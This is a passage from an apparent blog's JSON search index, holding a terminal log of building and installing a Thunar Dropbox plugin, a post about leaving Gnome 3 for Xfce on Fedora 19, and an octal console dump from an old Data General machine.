style=\"display:flex;\"\u003e\u003cspan\u003eChecking \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e program ar                  : \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ear\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e program ranlib              : \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eranlib\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e gcc                         : ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e thunarx\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e                   : yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e gio\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2.0\u003c/span\u003e                     : yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;configure\u0026#39;\u003c/span\u003e finished successfully (\u003cspan style=\"color:#ae81ff\"\u003e0.230\u003c/span\u003es)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003ethinkleo4 thunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e./\u003c/span\u003ewaf build\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWaf: Entering directory \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e`\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ehome\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eleo\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eDownloads\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebuild\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e] cc: src\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecommunication\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ec \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e build\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edefault\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esrc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecommunication_1\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eo\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e] cc: src\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etdp\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eprovider\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ec \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e build\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edefault\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esrc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etdp\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eprovider_1\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eo\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e] cc: src\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eplugin\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ec \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e build\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edefault\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esrc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eplugin_1\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eo\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e] cc_link: build\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edefault\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esrc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecommunication_1\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eo build\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edefault\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esrc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etdp\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eprovider_1\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eo build\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edefault\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esrc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eplugin_1\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eo \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e build\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edefault\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elibthunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eso\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWaf: Leaving directory \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e`\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ehome\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eleo\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eDownloads\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebuild\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;build\u0026#39;\u003c/span\u003e finished successfully (\u003cspan style=\"color:#ae81ff\"\u003e1.990\u003c/span\u003es)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003ethinkleo4 thunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e sudo \u003cspan style=\"color:#f92672\"\u003e./\u003c/span\u003ewaf install\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWaf: Entering directory \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e`\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ehome\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eleo\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eDownloads\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebuild\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e installing data\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eicons\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ehicolor\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003ex16\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eapps\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003epng as \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eshare\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eicons\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ehicolor\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003ex16\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eapps\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003epng\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e installing build\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edefault\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elibthunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eso as \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elib\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunarx\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eso\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWaf: Leaving directory \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e`\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ehome\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eleo\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eDownloads\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebuild\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;install\u0026#39;\u003c/span\u003e finished successfully (\u003cspan style=\"color:#ae81ff\"\u003e0.006\u003c/span\u003es)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003ethinkleo4 thunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e sudo mv \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elib\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunarx\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eso \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elib64\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunarx\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003ethinkleo4 thunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"XFCE - Dropbox"},{"content":"As I wrote in some previous posts I\u0026rsquo;ve replaced my old thinkpad with a new one, the deal was to find a Linux operating system with a full support of my hardware. I just tried to migrate my trusty Redhat 6, and after some rebuild I get a \u0026ldquo;well\u0026rdquo; working system. I love the legacy system you can always know where to find the things you need and generally they works more better than new one, but for desktop use sometimes is necessary something a little modern (kernel, lib, etc.).\nSo I\u0026rsquo;ve installed Fedora 19, I already used this distribution in the past till version 14 (the last release with Gnome 2), the installer is great and after reboot surprise, my notebook hardware are fully supported even HSPA/GPS card, fingerprint reader and TPM chip, awesome!! At this point the problem begin.. and the name is Gnome 3, Shell or whatever they wanna call that crap, I even found a very disappointed twit dated 11/06/11 wrote by me about that, when I\u0026rsquo;ve tried Fedora 15 for the first time and the complaints were to Gnome 3.. By the way I decided to give it a chance, I spent 2 days, days of terrific pain, patch and random code to fix bugs (or trying to do) just for made it a little usable and finally I figured out: after more than two years still is a bunch of buggy crap.\nI can only describe it as The worst user experience ever, I don\u0026rsquo;t want a stupid smartphone/tablet or clone of clone of clone of other worst user interfaces.\nSo I took a look of alternatives and I\u0026rsquo;ve tried Xfce: it\u0026rsquo;s light, simple and stable.\nThe next post will be related to the optimization and integration of Xfce.\n","permalink":"https://www.deepreflect.net/2014/01/18/switch-to-xfce/","summary":"\u003cp\u003eAs I wrote in some previous posts I\u0026rsquo;ve replaced my old thinkpad with a new one, the deal was to find a Linux operating system with a full support of my hardware. I just tried to migrate my trusty Redhat 6, and after some rebuild I get a \u0026ldquo;well\u0026rdquo; working system.\nI love the legacy system you can always know where to find the things you need and generally they works more better than new one, but for desktop use sometimes is necessary something a little modern (kernel, lib, etc.).\u003c/p\u003e","title":"Switch to XFCE"},{"content":"Found on an old text file, this is the weird output from a DataGeneral machine:\n!a 000000A 000000 ! !/000000 000000 !ÿ\\_ÿ\\_ÿ\\_ÿ\\_ ! ! ! !a 000000A 000000 !0a 000000A 000000 !1a 000001A 000000 !0a 000000A 000000 000001A 000000 000002A 000000 000003A 000000 000004A 000000 000005A 000000 000006A 000000 000007A 000000 000010A 000000 !4a 000004A 000000 300 !4a 000004A 000300 !300/000300 000000 020306 ? !300/000300 020306 000301 000000 061126 000302 000000 063526 000303 000000 000302 000304 000000 064626 000305 000000 063077 000306 000000 007000 000307 000000 !300/000300 020306 !300/000300 020306 000301 061126 000302 063526 000303 000302 000304 064626 000305 063077 000306 007000 000307 000000 !./000307 000000 !4a 000004A 000300 !p !4a 000004A 000000 300 !300/000300 000000 020306 000301 000000 061126 000302 000000 063526 000303 000000 000302 000304 000000 064626 000305 000000 063077 000306 000000 007000 !300/000300 020306 000301 061126 000302 063526 000303 000302 000304 064626 000305 063077 000306 007000 000307 000000 !4a 000004A 000300 !o ! !4a 000004A 000000 0300 !300/000300 000000 1230000\\_ !300/000300 003000 !300/000300 003000 123000 !300/000300 123000 !4a 000004A 000300 /000300 123000 !0a 000000A 000000 1 !1a 000001A 000000 !1a 000001A 000000 2 !0a 000000A 000001 000001A 000002 000002A 000000 !300/000300 123000 !o ! !300/000300 000000 123000 !0\\_300 !300/000300 123000 000301 000000 301 000302 000000 !300/000300 123000 000301 000301 !a 000000A 000000 6\\_\\_ !6a 000006A 000000 !20h 000377 !? !6a 000006A 031436 !a 000000A 000040 4\\_\\_? !4a 000004A 100377 !p 000377 !6a 000006A 031036 !300/000300 123000 300 !300/000300 000300 !4a 000004A 100377 100300 !p 000300 !100/000100 000000 !100/000100 000000 000101 000000 000102 000000 000103 000000 000104 000000 000105 000000 000106 000000 000107 000000 000110 000000 000111 000000 000112 000000 000113 000000 000114 000000 000115 000000 000116 000000 000117 000000 000120 000000 000121 000000 000122 000000 000123 000000 000124 000000 000125 000000 000126 000000 000127 000000 000130 000000 000131 000000 000132 000000 000133 000000 000134 000000 000135 000000 000136 000000 000137 000000 000140 000000 000141 000000 000142 000000 000143 000000 000144 000000 000145 000000 000146 000000 000147 000000 000150 000000 000151 000000 000152 000000 000153 000000 000154 000000 !300/000300 000300 123000 000301 000301 301 !300/000300 123000 !300/000300 123000 000301 000301 !4a 000004A 100300 100300 !6a 000006A 031036 !0a 000000A 000040 1 000001A 177777 2 000002A 060120 !p 000301 !0a 000000A 000003 !301/000301 000301 36077 !301/000301 036077 63077 !p 000302 ! !a 000000A 000000 6\\_\\_ !6a 000006A 000000 031036 !4a 000004A 000000 300 !300/000300 000000 020306 !300/000300 020306 000301 000000 061126 000302 000000 063526 000303 000000 000302 000304 000000 064626 000305 000000 063077 000306 000000 007000 !300/000300 020306 000301 061126 000302 063526 000303 000302 000304 064626 000305 063077 000306 007000 !4a 000004A 000300 100300 !p 000306 !1a 000001A 056000 !1a 000001A 056000 00 !1a 000001A 000000 !4a 000004A 100306 1300 !4a 000004A 001300 100300 !4a 000004A 100300 !p 000306 !1a 000001A 056000 !a 000000A 007000 !1a 000001A 056000 !4a 000004A 100306 100300 !p 000306 !4a 000004A 100306 100300 !p 000306 !306/000306 007000 017000 !a 000000A 007000 !4a 000004A 100306 100300 !p 000306 !1a 000001A 016100 !306/000306 017000 006400 !4a 000004A 100306 100300 !p 0?0306 ! !1a 000001A 016000 !310/000310 000000 020322 000311 000000 061026 000312 000000 020323 000313 000000 062026 000314 000000 020324 000315 000000 063126 000316 000000 063526 000317 000000 000316 000320 000000 064626 000321 000000 063067 000322 000000 000323 000000 400 000324 000000 777400 !321/000321 063067 063077 000322 000000 !310/000310 020322 000311 061026 000312 020323 000313 062026 000314 020324 000315 063126 000316 063526 000317 000316 000320 064626 000321 063077 000322 000000 000323 000400 000324 177400 !4a 000004A 100306 100310 !306/000306 006400 006000 !4a 000004A 100310 100300 !p 000306 !1a 000001A 056000 !4a 000004A 100306 100310 !p 000322 !400/000400 000000 000401 000000 000402 000000 000403 000000 000404 000000 000405 000000 000406 000000 000407 000000 000410 000000 000411 000000 000412 000000 000413 000000 000414 000000 000415 000000 000416 000000 !1a 000001A 056010 !310/000310 020322 020323 !310/000310 020323 000311 061026 061026 000312 020323 020324 000313 062026 0602 !313/000313 000602 062026 000314 020324 020325 000315 063126 000316 063526 063526 000317 000316 000320 064626 060626 000321 063077 065626 000322 000000 063077 000323 000400 000000 000324 177400 000400 000325 000000 177600 000326 000000 !4a 000004A 100322 100310 !p 000323 !0a 000000A 056010 000001A 000400 !? !306/000306 006000 006002 !4a 000004A 100323 100300 !p 000306 ! !1a 000001A 016000 !4a 000004A 100306 100310 !p 000323 !0a 000000A 016010 !0a 000000A 016010 000001A 000400 !323/000323 000000 000100 !4a 000004A 100323 100310 !p 000323 !0a 000000A 016010 000001A 000400 !306/000306 006002 006403 !323/000323 000100 000055 !4a 000004A 100323 100300 !p 000306 !4a 000004A 100306 !1a 000001A 016000 !4a 000004A 100306 100310 !p 000323 !0a 000000A 016010 !1a 000001A 000400 !ü ! ! !ÿ ! ! !26h 000377 !? !300/000300 000000 020306 000301 000000 061126 000302 000000 063526 000303 000000 000302 000304 000000 064626 000305 000000 063077 000306 000000 006400 000307 000000 !4a 000004A 100377 100300 !300/000300 020306 000301 061126 000302 063526 000303 000302 000304 064626 000305 063077 000306 006400 000307 000000 !p 000306 !306/000306 006400 007000 !4a 000004A 100306 100300 !p 000306 !300 !306/000306 007000 6000 !4a 000004A 100306 100300 !p 000306 !330/000330 000000 020347 000331 000000 061126 000332 000000 063526 000333 000000 000332 000334 000000 060626 000335 000000 024350 000336 000000 030351 000337 000000 065226 000340 000000 063526 000341 000000 000340 000342 000000 060626 000343 000000 113414 000344 000000 063077 000345 000000 104010 000346 000000 000337 000347 000000 007000 000350 000000 006000 000351 000000 000040 !4a 000004A 100306 100330 !p 000337 !0a 000000A 056000 000001A 136142 000002A 000040 !4a 000004A 100337 100330 !o 000331 !0a 000000A 007000 !o 000332 !o 000334 !o 000335 !0a 000000A 056000 !o 000336 !o 000337 !0a 000000A 056000 !0a 000000A 056000 000001A 006000 000002A 000040 !o 000340 !o 000342 !o 000343 !0a 000000A 056000 !o 000345 !1a 000001A 006000 !o 000346 !1a 000001A 006001 !o 000337 !o 000340 !o 000342 !o 000343 !0a 000000A 056000 !o 000345 !o 000346 !o 000337 !o 000340 !o 000342 !o 000343 !o 000345 !o 000346 !o 000337 !o 000340 !o 000342 !o 000343 !o 000345 !o 000346 !o 000337 !o 000340 !o 000342 !o 000343 !o 000345 !o 000346 !o 000337 !o 000340 !o 000342 !o 000343 !o 000345 !o 000346 !o 000337 !o 000340 !o 000342 !o 000343 !o 000345 !o 000346 !? !00337 !? !00340 !? !00342 !? !00343 !?a 000000A 056000 ! !? !6a 000006A 021076 ? !0a 000000A 056000 ? !4a 000004A 100343 100330 ? !p 000340 !1a 000001A 131427 !0a 000000A 056000 ? ! ! ! ! !300/000300 020306 000301 061126 000302 063526 000303 000302 000304 064626 000305 063077 000306 006000 !306/000306 006000 6400 !4a 000004A 100340 100300 !p 000306 !1a 000001A 016000 !4a 000004A 100306 100330 !o 000331 !o 000332 !o 000333 !o 000332 !o 000334 !o 000335 !0a 000000A 056000 !337/000337 065226 065126 !342/000342 060626 060726 !4a 000004A 100335 100330 !p 000345 !0a 000000A 056000 !1a 000001A 014007 !352/000352 177046 000353 035177 000354 003333 000355 107504 000356 021543 000357 064475 000360 072005 000361 043061 000362 005461 000363 163733 000364 113115 000365 010477 000366 010423 000367 102400 000370 110630 000371 046400 000372 016153 !352/000352 177046 113414 !353/000353 035177 063077 000354 003333 063077 !2a 000002A 000040 !0a 000000A 056000 177777 !4a 000004A 100345 352 !4a 000004A 000352 100352 !o 000353 !0a 000000A 177777 0 !4a 000004A 100353 100352 !o 000354 !0a 000000A 000000 40 !4a 000004A 100354 100352 !o 000353 !330/000330 006714 020353 000331 103166 !330/000330 020353 020352 000331 103166 061126 000332 121160 063526 000333 072137 00032 000334 173722 !333/000333 000032 332 000334 173722 060626 000335 004140 024353 000336 002413 030354 000337 117564 034355 000340 034255 055126 !340/000340 055126 065126 000341 145113 063526 000342 000027 000341 000343 147677 060726 000344 101726 113414 000345 050502 063077 000346 053340 104010 000347 156343 137415 000350 111641 06306 !350/000350 006306 063077 000351 176331 000340 000352 113414 007000 000353 063077 006000 000354 063077 77 000355 107504 777 !0a 000000A 000040 !40 !4a 000004A 100353 100330 !p 000351 !0a 000000A 016000 000001A 007000 000002A 000077 !? !? !310/000310 034000 20323 000311 016033 061029? !311/000311 016033 61026 000312 012213 20324 000313 062426 62026 000314 115277 20325 000315 142572 63126 000316 103200 063526 000317 171463 000316 000320 027104 060626 000321 001733 065626 000322 117531 063077 000323 067466 0 !324/000324 174471 400 000325 041764 177400 !4a 000004A 100351 100310 !p 000323 !0a 000000A 016010 !0 !33 !4a 000004A 100323 100330 !p 000351 !330/000330 020352 20357 !351/000351 000340 !330/000330 020357 20357 000331 061126 000332 063526 000333 000332 000334 060626 000335 024353 24360 000336 030354 30361 000337 034355 34362 000340 065126 000341 063526 000342 000341 000343 060726 000344 113414 020363 000345 063077 061126 000346 104010 063526 000347 137415 000346 000350 063077 060726 000351 000340 113415 000352 007000 063077 000353 006000 104010 000354 000077 137415 000355 000777 063077 000356 021543 000340 000357 064475 7000 000360 072005 6000 000361 043061 77 000362 005461 777 000363 163733 0 !3 !4a 000004A 100351 10330 !4a 000004A 010330 100330 !p 000353 !0a 000000A 056000 1a 000001A 006000 !0a 000000A 056000 000001A 006000 000002A 000077 000003A 000777 !330a 100430 000000 !330/000330 020357 !4a 000004A 100353 100330 !o 000331 !o 000332 !o 000334 !o 000335 !0a 000000A 056000 !o 000336 !o 000337 !o 000340 !o 000341 !o 000343 !o 000344 !0a 000000A 056000 !o 000345 !0a 000000A 000000 !o 000346 !o 000350 !o 000351 !0a 000000A 056010 !o 000353 !o 000354 !1a 000001A 006001 !o 000356 !o 000340 !o 000341 !o 000343 !o 000344 !0a 000000A 016000 !o 000345 !o 000346 !o 000350 !o 000351 !0a 000000A 016010 !p 000353 !1a 000001A 006643 !0a 000000A 016000 !400/000400 155555 000401 155555 000402 155555 000403 155555 000404 155555 000405 155555 000406 155555 000407 155555 000410 155555 000411 155555 000412 155555 000413 155555 000414 155555 000415 155555 000416 155555 000417 155555 000420 155555 000421 155555 000422 155555 000423 155555 000424 155555 000425 155555 000426 155555 000427 155555 000430 155555 000431 